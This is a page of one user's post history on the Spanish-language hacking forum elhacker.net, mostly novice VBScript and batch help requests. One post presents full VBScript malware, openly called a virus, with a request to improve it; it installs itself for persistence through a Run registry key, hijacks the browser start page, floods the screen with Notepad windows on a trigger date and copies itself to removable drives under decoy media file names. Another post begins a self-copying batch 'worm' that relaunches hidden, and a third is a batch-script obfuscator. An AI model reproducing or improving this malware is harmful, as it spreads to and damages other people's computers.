elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Doble factor de autenticaciˇn o verificaciˇn en dos pasos


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15
131  Programaciˇn / Scripting / Re: ayuda en mejora de virus en vbs . en: 8 Julio 2017, 21:32
Sobre cˇmo mejorarlo: Haz que deje de ser un 'virus' y hazlo un programa ˙til. Te sirve mßs a ti, sirve mßs a quienes estÚn aprendiendo a programar, sirve mßs a todos. Al fin y al cabo, la razˇn de este foro es esa, aprender.

Te digo esto, porque varios de los temas que he visto que has abierto vienen colisionando en el mismo concepto: "malware", que estß muy bien como tema curioso y como "informaciˇn white-hat", pero estß prohibido para su uso malicioso.

********bueno creo que en parte tienes razˇn pero mira que solo
                  no hago virus sino tambien antivirus este vbs borra el virus de
                  acceso directo (new photo today.wsf) que se mete en los
                  pendrive (USB),ESTE CODE lo termine esta ma˝ana.

Código
  1. 'PARA FORO EL HACKER.
  2. Set objShell = CreateObject("Shell.Application")
  3. Set objFolder = objShell.BrowseForFolder _
  4.    (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)  
  5. Set objFolderItem = objFolder.Self
  6. strPath = objFolderItem.Path
  7. Set objfso = createobject("scripting.filesystemobject")
  8. Set archivotexto = objfso.createtextfile("desinf.bat",true)
  9. archivotexto.writeline "@echo off"
  10. archivotexto.writeline "title Desinfectando USB (BY S4L)"
  11. archivotexto.writeline "MODE CON: COLS=50 LINES=5"
  12. archivotexto.writeline "color a"
  13. archivotexto.writeline "echo/"
  14. archivotexto.writeline "echo [███                           ] 13 ░/."
  15. archivotexto.writeline "ping localhost -n 1 >nul"
  16. archivotexto.writeline "cd /D "" " & strPath & """"
  17. archivotexto.writeline "Attrib /d /s -r -h -s *.*"
  18. archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
  19. archivotexto.writeline "cls"
  20. archivotexto.writeline "echo/"
  21. archivotexto.writeline "echo [█████████                     ] 25 ░/."
  22. archivotexto.writeline "ping localhost -n 2 >nul"
  23. archivotexto.writeline "del /f /q *.bat"
  24. archivotexto.writeline "cls"
  25. archivotexto.writeline "echo/"
  26. archivotexto.writeline "echo [███████████████               ] 47 ░/."
  27. archivotexto.writeline "ping localhost -n 2 >nul"
  28. archivotexto.writeline "del /f /q *.wsf"
  29. archivotexto.writeline "del /f /q Drive\*.wsf"
  30. archivotexto.writeline "if exist *.lnk del *.lnk"
  31. archivotexto.writeline "cls"
  32. archivotexto.writeline "echo/"
  33. archivotexto.writeline "echo [█████████████████████████     ] 70 ░/."
  34. archivotexto.writeline "ping localhost -n 2 >nul"
  35. archivotexto.writeline "del /f /q *.ws"
  36. archivotexto.writeline "cls"
  37. archivotexto.writeline "echo/"
  38. archivotexto.writeline "echo [████████████████████████████  ] 89 ░/."
  39. archivotexto.writeline "ping localhost -n 2 >nul"
  40. archivotexto.writeline "del /f /q *.js"
  41. archivotexto.writeline "cls"
  42. archivotexto.writeline "echo/"
  43. archivotexto.writeline "echo [██████████████████████████████] 100 ░/."
  44. archivotexto.writeline "attrib -a -s -h -r /s /d"
  45. archivotexto.writeline "attrib +s +h autorun.inf"
  46. archivotexto.writeline "ping localhost -n 2 >nul"
  47. archivotexto.writeline "explorer.exe "& strPath & """"
  48. archivotexto.writeline "exit"
  49. archivotexto.close
  50. set WshShell=WScript.CreateObject("WScript.Shell")
  51. WShShell.run "desinf.bat"
  52. 'credo por S4L.
  53. 'FISICA 638
  54.  
132  Programaciˇn / Scripting / ayuda en mejora de virus en vbs . en: 7 Julio 2017, 19:20
 ::)
              les pongo este virus en vbs para uqe me den consejos de
              como mejorarlo .
Código
  1. ON ERROR RESUME NEXT
  2. Dim Fobiacmsgchxxrl
  3. Dim Fobiacborrchxxrl
  4. Dim Fobiaccolchxxrl
  5. Dim zchxxrl
  6. Dim Fobianarchxxrl
  7. Dim Fobiadichxxrl
  8. Dim Fobiavalchxxrl
  9. Dim Fobiasenchxxrl
  10. Dim Fobiatecchxxrl
  11. Dim vtecchxxrl
  12. Set Fobiawshchxxrl = CreateObject("WScript.Shell")
  13. Set Fobiafsochxxrl= CreateObject("scripting.filesystemobject")
  14. Fobiawshchxxrl.regwrite "HKCU\software\" & Chr(71) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116),Chr(71) & Chr(101) & Chr(111) & Chr(99) & Chr(105) & Chr(116) & Chr(105) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(103) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116)
  15. Fobiafsochxxrl.copyfile wscript.scriptfullname,Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs"
  16. Fobiawshchxxrl.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kuasanagui","wscript.exe " & Fobiafsochxxrl.GetSpecialFolder(0) & "\camila.vbs %"
  17. Const Wri = 2
  18. Const Cr = True
  19. Dim File
  20. Dim F
  21. File = Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
  22. Set F = Fobiafsochxxrl.opentextfile(File, Wri, Cr)
  23. F.write "Quisiera ser un microbito," & vbcrlf & "que habite en tu cuerpo," & vbcrlf & "hay para estar muy calientito," & vbcrlf & "casi todo el tiempo," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "Quiero vivir en una arteria," & vbcrlf & "junto a tu corazon," & vbcrlf & "tu cuerpo para mi seria, " & vbcrlf & "como una gran mansiˇn," & vbcrlf & "correr por tus venas," & vbcrlf & "y en tu sangre siempre estar," & vbcrlf & "de ahi nadie me podra sacar." & vbcrlf & "" & vbcrlf & "Hare una alberca en tu ombliguito," & vbcrlf & "pa meterme a nadar," & vbcrlf & "y si me voy mas abajito," & vbcrlf & "nadie me sacara," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "De ti me voy a alimentar."
  24. F.close
  25. Fobiawshchxxrl.run "notepad " & Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
  26. Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page","http://www.jodiendo.com"
  27. Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Window title","FOBIA ON ICE"
  28. If month(now) = 10 and day(now) = 31 then
  29. For zchxxrl = 0 to 1000
  30. Fobiawshchxxrl.run ("C:\Windows\notepad.exe")
  31. Next
  32. End If
  33. Fobiavalchxxrl = 0
  34. Fobiatecchxxrl = 0
  35. dichxxrl()
  36. Function dichxxrl()
  37. On Error Resume Next
  38. Do
  39. Fobiatecchxxrl = Fobiatecchxxrl + 1
  40. Fobiavalchxxrl = Fobiavalchxxrl + 1
  41. Randomize timer
  42. Fobiadichxxrl = Int(Rnd * 6)
  43. If Fobiadichxxrl = 0 then Fobianarchxxrl = "Fobia.txt"
  44. If Fobiadichxxrl = 1 then Fobianarchxxrl = "Mundo feliz.mp3"
  45. If Fobiadichxxrl = 2 then Fobianarchxxrl = "Amor chiquito.jpg"
  46. If Fobiadichxxrl = 3 then Fobianarchxxrl = "Fobia on ice.mp3"
  47. If Fobiadichxxrl = 4 then Fobianarchxxrl = "Leche.html"
  48. If Fobiadichxxrl = 5 then Fobianarchxxrl = "microbito.mp3"
  49. If Fobianarchxxrl = "" then Fobianarchxxrl = "LEEME.TXT"
  50. If Fobiavalchxxrl = 900000 then
  51. Fobiafsochxxrl.copyfile Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs","a:\" & Fobianarchxxrl & ".vbs"
  52. Fobiavalchxxrl = 0
  53. End If
  54. If Fobiatecchxxrl = 700000 then
  55. Fobiawshchxxrl.sendkeys "Quisiera ser un microbito...."
  56. Fobiatecchxxrl = 0
  57. Fobiatecchxxrl = 0
  58. End If
  59. Loop
  60. End Function
  61.  

*****por favor comenten algunas cosas que se deverian mejorar a este virus  :)
133  Programaciˇn / Scripting / Re: ayuda en html. en: 7 Julio 2017, 13:39
 ********** primero que todo gracias ELEKTRO me ayudaste una vez mas++++

:laugh:

PD: Por curiosidad, ┐cˇmo te diˇ por concluir que eso era Html?.

Saludos!

   
         -------- Yo se que eso no es html eso es vbs. (visual basic script) es que
                       yo no publique el codigo completo solo publique la parte que
                            me deba error.

  MIRA AQUI EL CODE COMPLETO LO GUARDAS EN extensiˇn .HTA .

Código
  1. <html>
  2. <head>
  3. <title>R4MP VIDEO PLEYER BY S4L de el ( I.P.C. )</title>
  4. <img src="app\bin\ipc.png" alt="W3Schools.com" width="50" height="50">
  5. Try it Yourself ╗
  6. <script language="VBScript">
  7. self.ResizeTo 480, 320
  8. </script>
  9. <html>
  10. <body>
  11. <a href="https://www.google.co.ve/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwiHiILAiPbUAhVBCpoKHYivDn0QFgglMAA&url=https%3A%2F%2Fwww.youtube.com%2Fchannel%2FUC5nv9joqfuV7VGWkKuEmMPQ&usg=AFQjCNE2u8BDHJXgq4OYIMXcGP90q3O2-Q">Visita mi canal de youtube!<br /></a>
  12. <button type="button" onclick="alert('Hecho Por Salvador F. Krilewski!')">INFO!</button>
  13. <<video poster="URL">
  14. </body>
  15. </html>
  16. <script type="text/vbscript">
  17. Sub pcontrol()
  18. set objShell = CreateObject("WScript.Shell")
  19.   strAnswer = InputBox("introduzca el nombre del video con extensiˇn (.mp4) :")
  20.   Msgbox strAnswer
  21. Set objfso = createobject("scripting.filesystemobject")
  22. Set archivotexto = objfso.createtextfile("app\bin\pl.bat",true)
  23. archivotexto.writeline "@echo off"
  24. archivotexto.writeline "Start /B """" ""chrome.exe"" " & """" & strAnswer & """"
  25. archivotexto.writeline "exit"
  26. archivotexto.close
  27. End Sub
  28.  
  29. </script>
  30.  
  31. <style>
  32. body {background-color:black;}
  33. </style>
  34.  
  35. </head>
  36. <body>
  37. <div align="center">
  38. <br><br>
  39. <input type="button" value="Reproducir video" onclick="strAnswer">
  40. <input type="button" value="Reproducir video" onclick="pcontrol()">
  41. <br><br><br>
  42. <input type="button" value="CERRAR" onClick="self.close()">
  43.  
  44. </body>
  45. </html>
  46.  

 ***************** PD: el codigo esta en desarrollo apenas lo empece.     ;)
134  Programaciˇn / Scripting / Re: ayuda en html. en: 7 Julio 2017, 05:33
angel lex la verdad es que nesecito que funcione este code
en la variable set strAnswer va bien hasta el msgbox, pero a la hora de crear
el batch no lo hace ayuda.

Código
  1. set objShell = CreateObject("WScript.Shell")
  2. strAnswer = InputBox("introduzca el nombre del video con extensiˇn (.mp4) :")
  3.   Msgbox strAnswer
  4. Set objfso = createobject("scripting.filesystemobject")
  5. Set archivotexto = objfso.createtextfile("pl.bat",true)
  6. archivotexto.writeline "@echo off"
  7. archivotexto.writeline "start chrome.exe mmo.mp4"
  8. archivotexto.writeline "strAnswer"
  9. archivotexto.close

el error esta el la penultima linea. **********archivotexto.writeline "strAnswer"
135  Programaciˇn / Scripting / ayuda en VBS. en: 7 Julio 2017, 04:59
***********hola a todos me preguntaba si en html VBS hay alg˙n comando
                   que tenga la misma funciˇn que tiene la palabra set de batch...

ayuda plis.  :huh: :huh: :huh:  :( :( :(
136  Programaciˇn / Scripting / Re: archivo vbs para buscar en google? en: 7 Julio 2017, 01:53
no es "ayuda con otro code" es que veas por quÚ no funciona y lo corrijas... el error seguramente es tuyo no del cˇdigo...

gracias por el consejo pero el error no era mio. era el code. bueno entonces me puse a experimentar un poco y alfinal lo he logrado.

aqui el code.
Código
  1.  set WshShell=WScript.CreateObject("WScript.Shell")
  2.   WShShell.run "chrome.exe www.facebook.com"
  3.  

  ***** :-( ahora el problema es el directorio del navegador, ya que solo este
                        vbscrip funciona solo en el directorio raiz del navegador.
137  Programaciˇn / Scripting / Re: archivo vbs para buscar en google? en: 7 Julio 2017, 01:20
gracias, pero desafortunadamente no me sirve no abre el navegador.

revise la ruta del ejecutable .exe y esta bien pero aun asi no me abre el navegador y el vbs no lanza ningun error.

ayuda con otro code porfa.... :huh: :-( :-( :-( :-( :-( :huh:
138  Programaciˇn / Scripting / archivo vbs para buscar en google? en: 7 Julio 2017, 00:48

********************************************************************

       hola, necesito el code de un vbs para abrir un navegador en especifico
                                  en una determinada pagina web.


****************************************************************** :huh:
AYUDAAAAA :huh: :-( :-( :-( :-(
139  Seguridad Informßtica / Anßlisis y Dise˝o de Malware / ayuda con el code de mi nuevo gusano en batch en: 18 Junio 2017, 20:41
  :-\ el code me da error a veces y a veces funciona, y no se por que
porfavor ayudenme:  :-(  :huh:

code de mi gusano:
Código
  1. @echo off
  2. set a=%~nx0
  3. set b=%a: =_%
  4. Cd %temp%
  5. copy /y "%~0" "%b%" 1>nul 2>&1
  6. if "%1"=="x" (GoTo:code) else (
  7. call:a>vbs.vbs
  8. start vbs.vbs&exit /b
  9. )
  10. :a
  11. echo SET a=CreateObject^("WScript.Shell"^)
  12. echo a.Run "%b% x",vbHide
  13. GoTo:EoF
  14. :code
  15. cd %HomeDrive%\
  16. for /f "tokens=*" %%x in ('dir /b /s /a:D %HomeDrive%\') do (
  17.  
140  Programaciˇn / Scripting / AYUDA *necesito que el simbolo % se le coloque a cada letra de una palabra en: 12 Junio 2017, 21:11
 :huh: hola estoy haciendo un encryptador de bat pero quiero que a
cada letra de una
palabra salga el simbolo % ya lo intente poniendo dos
veces (%%) pero no funciona  :huh:

aqui dejo el code donde nesesito la ayuda , code de mi proyecto:
Código
  1. echo/
  2. echo/
  3. set /p palabra= Ingrese el Codigo Fuente :
  4.  
  5. set "var=%palabra%"
  6. set "resultado=%var:a=a%"
  7. set "resultado=%resultado:b=-%"
  8. set "resultado=%resultado:c=.%"
  9. set "resultado=%resultado:d=\%"
  10. set "resultado=%resultado:e=$%"
  11. set "resultado=%resultado:f=;%"
  12. set "resultado=%resultado:g=?%"
  13. set "resultado=%resultado:h=[%"
  14. set "resultado=%resultado:i=+%"
  15. set "resultado=%resultado:j=)%"
  16. set "resultado=%resultado:k=]%"
  17. set "resultado=%resultado:l=!%"
  18. set "resultado=%resultado:m=(%"
  19. set "resultado=%resultado:n=n%"
  20. set "resultado=%resultado:o=,%"
  21. set "resultado=%resultado:p=p%"
  22. set "resultado=%resultado:q=/%"
  23. set "resultado=%resultado:r=_%"
  24. set "resultado=%resultado:s={%"
  25. set "resultado=%resultado:t=#%"
  26. set "resultado=%resultado:u=u%"
  27. set "resultado=%resultado:v=}%"
  28. set "resultado=%resultado:w=:%"
  29. set "resultado=%resultado:x=x%"
  30. set "resultado=%resultado:y=y%"
  31. set "resultado=%resultado:&=^&%"
  32. set "resultado=%resultado:>=^>%"
  33. set "resultado=%resultado:<=^<%"
  34. set "resultado=%resultado:|=^|%"
  35. echo/
  36. echo/
  37. echo/
  38. echo/
  39. echo/
  40. echo/
  41. echo set a=a>cifrado.bat
  42. echo set -=b>>cifrado.bat
  43. echo set .=c>>cifrado.bat
  44. echo set \=d>>cifrado.bat
  45. echo set $=e>>cifrado.bat
  46. echo set ;=f>>cifrado.bat
  47. echo set ?=g>>cifrado.bat
  48. echo set [=h>>cifrado.bat
  49. echo set +=i>>cifrado.bat
  50. echo set )=j>>cifrado.bat
  51. echo set ]=k>>cifrado.bat
  52. echo set !=l>>cifrado.bat
  53. echo set (=m>>cifrado.bat
  54. echo set n=n>>cifrado.bat
  55. echo set ,=o>>cifrado.bat
  56. echo set p=p>>cifrado.bat
  57. echo set /=q>>cifrado.bat
  58. echo set _=r>>cifrado.bat
  59. echo set {=s>>cifrado.bat
  60. echo set #=t>>cifrado.bat
  61. echo set u=u>>cifrado.bat
  62. echo set }=v>>cifrado.bat
  63. echo set :=w>>cifrado.bat
  64. echo set x=x>>cifrado.bat
  65. echo set y=y>>cifrado.bat
  66. echo set z=z>>cifrado.bat
  67. echo %resultado%>>cifrado.bat
  68.  

nesesito que la palabra que se genere tenga en cada letra del resultado
el simbolo %

ejemplo: %p%%a%%u%%s%%e%
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines